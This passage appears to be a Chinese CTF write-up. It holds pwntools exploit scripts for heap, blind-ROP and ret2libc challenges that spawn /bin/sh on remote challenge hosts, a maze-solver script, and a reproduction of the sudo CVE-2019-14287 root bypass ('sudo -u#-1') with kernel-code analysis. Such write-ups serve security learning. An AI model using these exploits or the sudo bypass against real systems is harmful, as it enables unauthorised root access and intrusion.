17 | |
18 | p = process('qemu-arm -g 1234 -L . ./main',shell=True) |
19 | elf =ELF('./main') |
20 | p = remote('121.36.58.215',1337) |
21 | ''' |
22 | new(0x10,'FMYY') |
23 | new(0x38,'FMYY') |
24 | new(0x38,'FMYY') |
25 | new(0x38,'FMYY') |
26 | new(0x10,'FMYY') |
27 | edit(0,0x18,'\x00'*0x14 + p32(0xC1)) |
28 | free(1) |
29 | new(0x38,'FMYY') #2 |
30 | show() |
31 | p.recvuntil('2 : ') |
32 | libc_base = u32(p.recv(4)) - 0x9A8EC |
33 | log.success('LIBC:\t' + hex(libc_base)) |
34 | system = libc_base + 0x51800 |
35 | new(0x38,'FMYY') |
36 | new(0x38,'FMYY') |
37 |
|
38 | free(2) |
39 | free(5) |
40 | free(0) |
41 | ''' |
42 | new(0x10,'FMYY') |
43 | new(0x60,'FMYY') |
44 | new(0x10,'FMYY') |
45 | |
46 | paylaod = p32(0) +p32(0x20) + p32(0x2106C - 0xC) + p32(0x2106C - 8) + p32(0x10) + p32(0x68) |
47 | edit(0,0x18,paylaod) |
48 | free(1) |
49 | |
50 | edit(0,0x20,p64(0) + p32(0x10) + p32(0x2100C) + p32(0x10) + p32(0x21038) + p32(0x10) + p32(0x21030)) |
51 | |
52 | edit(1,4,p32(0x103E4)) |
53 | free(0) |
54 | |
55 | libc_base = u32(p.recv(4)) - 0x355B4 |
56 | log.success('LIBC:\t' + hex(libc_base)) |
57 | system = libc_base + 0x51800 |
58 | edit(2,4,p32(system)) |
59 | p.sendline('sh') |
60 | p.interactive() |
1.主要就是有个异或6,过滤了"\x06"和"\x00" 2.然后测到偏移为0x58,之后爆破出start或者main函数地址为0x400796 3.再利用函数中的应该是write函数打印libc,因为libc我也不知道是哪一个,所以就最后12bit为0,然后n*0x1000一直减到libc,测到第二个libc地址的偏移为0x6F738 最后用one_gadget打通了
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def m(payload): |
4 | retval = "" |
5 | for i in payload: |
6 | if i == '\x06': |
7 | retval += chr((ord(i) + 1)^6) |
8 | elif i == '\x00': |
9 | retval += i |
10 | else: |
11 | retval += chr(ord(i)^6) |
12 | return retval |
13 | def leak_main(length,address): |
14 | for i in range(255): |
15 | p =remote('118.31.11.216',30009) |
16 | try: |
17 | p.recvuntil('[*] ---------------- Dozer Shell ----------------\n') |
18 | log.info('ADDRESS\t' + hex(address)) |
19 | p.sendline('U'*length + m(p64(address))) |
20 | output = p.recvline() |
21 | log.info('OUT:\t' + output) |
22 | p.interactive() |
23 | except: |
24 | p.close() |
25 | address = address + 1 |
26 | continue |
27 | |
28 | ''' |
29 | # get the stopgadget |
30 | for i in range(10): |
31 | tmp = 0x400101 |
32 | for n in range(10): |
33 | leak_main(length,tmp) |
34 | tmp += 0x100 |
35 | length += 1 |
36 |
|
37 | ''' |
38 | |
39 | length = 0x58 |
40 | main = 0x400796 |
41 | puts = 0x4007DB |
42 | libc =ELF('./libc-2.23.so') |
43 | for i in range(0x200): |
44 | p =remote('118.31.11.216',30009) |
45 | try: |
46 | p.recvuntil('[*] ---------------- Dozer Shell ----------------\n') |
47 | p.sendline('U'*length + m(p64(puts))) |
48 | p.recv(0x38) |
49 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x738 - 0x6F*0x1000 #i*0x1000 |
50 | log.info('LIBC:\t' + hex(libc_base)) |
51 | ''' |
52 | p.sendline('U'*length + m(p64(main))) |
53 | p.recvuntil('[*] ---------------- Dozer Shell ----------------\n') |
54 | ''' |
55 | p.sendline('U'*length + m(p64(libc_base + 0xF1147))) |
56 | log.info('INDEX:\t' + hex(i)) |
57 | p.sendline('cat flag') |
58 | p.recvuntil('ctf') |
59 | output = p.recvuntil('}') |
60 | log.info("FLAG:\t" + 'ctf' + output) |
61 | break |
62 | except: |
63 | p.close() |
64 | continue |
65 | p.interactive() |
手动替换下libc,然后unsorted bin attack攻击global_max_fast,实现任意写不确定值,再利用stdout打印出libc地址,之后利用fastbin attack的一个方法,将free_hook改成system
1 | from LD import* |
2 | from pwn import* |
3 | context.log_level ='DEBUG' |
4 | def new(size): |
5 | p.sendline('1') |
6 | sleep(0.01) |
7 | p.sendline(str(size)) |
8 | sleep(0.01) |
9 | def edit(offset,size,content): |
10 | p.sendline('2') |
11 | sleep(0.01) |
12 | p.sendline(str(offset)) |
13 | sleep(0.01) |
14 | p.sendline(str(size)) |
15 | sleep(0.01) |
16 | p.send(content) |
17 | sleep(0.01) |
18 | def free(offset): |
19 | p.sendline('3') |
20 | sleep(0.01) |
21 | p.sendline(str(offset)) |
22 | sleep(0.01) |
23 | elf =ELF('./main') |
24 | libc = ELF('./libc-2.25.so',checksec=False) |
25 | p = process('./main') |
26 | |
27 | #p = process(['./main'],env={"LD_PRELOAD":"./libc-2.25.so"}) |
28 | p = remote('118.31.11.216',30078) |
29 | edit(0x20,0xC0,p64(0) + p64(0x91) + '\x00'*0x80 + p64(0) + p64(0x21) + '\x00'*0x10 + p64(0) + p64(0x21)) |
30 | |
31 | free(0x30) |
32 | edit(0x38,2,'\xC0\xA7') |
33 | new(0x80) |
34 | edit(0x38,8,p64(0)) |
35 | |
36 | #modify the read_end |
37 | edit(0,0x10,p64(0) + p64(0x1630)) |
38 | edit(0x1630,0x10,p64(0) + p64(0x21)) |
39 | free(0x10) |
40 | |
41 | #modify the write_base |
42 | edit(0,0x10,p64(0) + p64(0x1650)) |
43 | edit(0x1650,0x10,p64(0) + p64(0x21)) |
44 | free(0x10) |
45 | |
46 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 131 - libc.sym['_IO_2_1_stdout_'] |
47 | log.info('LIBC:\t' + hex(libc_base)) |
48 | |
49 | free_hook = libc_base + libc.sym['__free_hook'] |
50 | rce = libc_base + libc.sym['system'] |
51 | |
52 | |
53 | edit(0,0x10,p64(0) + p64(0x3920)) |
54 | edit(0x3920,0x10,p64(0) + p64(0x21)) |
55 | free(0x10) |
56 | edit(0x10,8,p64(rce)) |
57 | new(0x3910) |
58 | edit(0x10,8,"/bin/sh\x00") |
59 | free(0x10) |
60 | p.interactive() |
简单ROP
1 | from pwn import* |
2 | from LibcSearcher import* |
3 | p = process('./main') |
4 | elf = ELF('./main') |
5 | p = remote('118.31.11.216',36666) |
6 | |
7 | payload = 'U'*0x70 + p32(elf.plt['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(4) |
8 | p.sendline(payload) |
9 | write = u32(p.recvuntil('\xF7')[-4:]) |
10 | log.info('LIBC:\t' + hex(write)) |
11 | libc = LibcSearcher('write',write) |
12 | libc_base = write - libc.dump('write') |
13 | system = libc_base + libc.dump('system') |
14 | binsh = libc_base + libc.dump("str_bin_sh") |
15 | p.sendline("U"*0x70 + p32(system) + p32(0) + p32(binsh)) |
16 | p.interactive() |
脱掉upx,去掉花指令,然后F5反编译,找到迷宫的数组,因为每走一步,方向标都会发生改变,写个脚本处理一下
1 | import os |
2 | import sys |
3 | from pwn import* |
4 | maze_str = [0x41, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x00, |
5 | 0x41, 0x42, 0x42, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x00, |
6 | 0x41, 0x42, 0x42, 0x41, 0x42, 0x41, 0x00, 0x00, 0x42, 0x42, 0x41, 0x41, 0x00, |
7 | 0x41, 0x42, 0x42, 0x41, 0x42, 0x41, 0x42, 0x41, 0x42, 0x42, 0x42, 0x41, 0x00, |
8 | 0x41, 0x41, 0x41, 0x41, 0x42, 0x41, 0x42, 0x41, 0x42, 0x42, 0x42, 0x41, 0x00, |
9 | 0x42, 0x42, 0x42, 0x42, 0x42, 0x41, 0x42, 0x42, 0x42, 0x41, 0x00, 0x00, 0x00, |
10 | 0x42, 0x41, 0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x00, 0x42, 0x42, 0x00, |
11 | 0x42, 0x41, 0x42, 0x42, 0x42, 0x42, 0x42, 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, |
12 | 0x42, 0x41, 0x41, 0x41, 0x41, 0x41, 0x42, 0x41, 0x42, 0x42, 0x41, 0x42, 0x00, |
13 | 0x42, 0x42, 0x42, 0x42, 0x42, 0x41, 0x42, 0x41, 0x42, 0x42, 0x41, 0x42, 0x00, |
14 | 0x42, 0x42, 0x42, 0x42, 0x42, 0x41, 0x42, 0x41, 0x42, 0x42, 0x41, 0x42, 0x00, |
15 | 0x42, 0x42, 0x42, 0x00, 0x00, 0x41, 0x41, 0x41, 0x42, 0x42, 0x41, 0x45, 0x00] |
16 | p = q = 0 |
17 | FLAG = "" |
18 | direction = ['W','A','S','D'] |
19 | for n in range(144): |
20 | if p <11 and maze_str[13*(p+1) + q]!= 1 and (maze_str[13*(p+1) + q]==0x41 or maze_str[13*(p+1) + q]==0x45): |
21 | FLAG += direction[2] |
22 | TMP = direction[2] |
23 | direction[2] = direction[0] |
24 | direction[0] = TMP |
25 | TMP = direction[1] |
26 | direction[1] = direction[3] |
27 | direction[3] = TMP |
28 | p += 1 |
29 | maze_str[13*p + q] = 1 |
30 | continue |
31 | if p >0 and maze_str[13*(p-1) + q] != 1 and (maze_str[13*(p-1) + q]==0x41 or maze_str[13*(p-1) + q]==0x45): |
32 | FLAG += direction[0] |
33 | TMP = direction[2] |
34 | direction[2] = direction[0] |
35 | direction[0] = TMP |
36 | p -= 1 |
37 | maze_str[13*p + q] = 1 |
38 | continue |
39 | if q <11 and maze_str[13*p + q + 1]!=1 and (maze_str[13*p + q + 1]==0x41 or maze_str[13*p + q + 1]==0x45): |
40 | FLAG += direction[3] |
41 | TMP = direction[3] |
42 | direction[3] = direction[2] |
43 | direction[2] = direction[1] |
44 | direction[1] = direction[0] |
45 | direction[0] = TMP |
46 | q += 1 |
47 | maze_str[13*p + q] = 1 |
48 | continue |
49 | if q >0 and maze_str[13*p + q - 1] != 1 and (maze_str[13*p + q - 1]==0x41 or maze_str[13*p + q - 1]==0x45): |
50 | FLAG += direction[1] |
51 | TMP = direction[0] |
52 | direction[0] = direction[1] |
53 | direction[1] = direction[2] |
54 | direction[2] = direction[3] |
55 | direction[3] = TMP |
56 | q -= 1 |
57 | maze_str[13*p + q] = 1 |
58 | continue |
59 | log.success("DozerCTF{" + FLAG + "}") |
1 | wget https://www.sudo.ws/dist/sudo-1.8.25.tar.gz |
2 | tar -zxvf ./sudo-1.8.25.tar.gz |
3 | cd ./sudo-1.8.25 |
4 | ./configure |
5 | make |
6 | make install |
测试了一下,sudo版本太低也会有点小问题,不清楚怎么解决,所以复现建议用1.8.25
影响的sudo版本为低于1.8.28的所有sudo程序,可以利用此漏洞以root用户权限访问或者执行命令
当/etc/sudoers中出现如下配置,则会有可能被利用
1 | someuser ALL=(ALL, !root) /usr/bin/somecommand |
2 | someuser ALL=(ALL, !#0) /usr/bin/somecommand |
3 | Runas_Alias MYGROUP = root, adminuser someuser ALL=(ALL, !MYGROUP) /usr/bin/somecommand |
为了复现CVE,此时往/etc/sudoers中添加
1 | test ALL=(ALL, !root) /usr/bin/id |
表示允许 test 帐号以非 root 外的身份执行 /usr/bin/id
若想用sudo 以root权限执行命令,则出现
1 | test@localhost:~$ sudo id |
2 | 对不起,用户 test 无权以 root 的身份在 localhost.localdomain 上执行 /bin/id。 |
然后sudo 有个参数 “-u” 可以指定特定的UID执行命令
此时漏洞点就在于 当-u指定的UID为-1 或者 4294967295的时候,则会以root权限执行命令
1 | test@localhost:~$ sudo -u#-1 id |
2 | uid=0(root) git=1001(test) 组=1001(test) |
利用
1 | test@localhost:~$ strace -u test sudo -u#-1 id |
利用” strace “进行跟踪
1 | setresuid(-1, -1, -1) = 0 |
发现如上一行函数执行,传入的参数都是-1,进一步查看setresuid函数,即可定位在系统调用__setresuid上
1 | // ~/sysdeps/unix/sysv/linux/i386/setreuid.c |
2 | int __setresuid (uid_t ruid, uid_t euid, uid_t suid) |
3 | { |
4 | int result; |
5 | |
6 | result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid); |
7 | |
8 | return result; |
9 | } |
__setresuid则会在内核中调用了sys_setresuid函数
1 | // ~/kernel/sys.c |
2 | |
3 | SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid) |
4 | { |
5 | ... |
6 | |
7 | struct cred *new; |
8 | ... |
9 | |
10 | kruid = make_kuid(ns, ruid); |
11 | keuid = make_kuid(ns, euid); |
12 | ksuid = make_kuid(ns, suid); |
13 | |
14 | new = prepare_creds(); |
15 | old = current_cred(); |
16 | ... |
17 | |
18 | if (ruid != (uid_t) -1) { |
19 | new->uid = kruid; |
20 | if (!uid_eq(kruid, old->uid)) |
21 | { |
22 | retval = set_user(new); |
23 | if (retval < 0) |
24 | goto error; |
25 | } |
26 | } |
27 | if (euid != (uid_t) -1) |
28 | new->euid = keuid; |
29 | if (suid != (uid_t) -1) |
30 | new->suid = ksuid; |
31 | new->fsuid = new->euid; |
32 | |
33 | ... |
34 | |
35 | return commit_creds(new); |
36 | |
37 | error: |
38 | abort_creds(new); |
39 | return retval; |
40 | } |
调用prepare_creds()创建了一个新的凭证结构体,然后判断SYSCALL_DEFINE3函数传入的参数中ruid、euid、suid是否为-1
只有在都不为-1的时候,新的凭证结构体才会被赋值,否则最后返回时commit_creds(new),得到的UID=0(root)
普通用户在Ubuntu下,不用” su root “切换到root用户,通常/root目录是不能访问的
假如pwn题中,在/root下放置一个FLAG,出题人在/etc/sudoers中添加一个普通用户可以执行ls与cat命令则可以通过此方法提权从而拿到FLAG 在我看来,这种可以和一些题目联合起来,题目做出来拿到shell还需要进一步提权才能拿到FLAG
个人拙见,大佬们别打我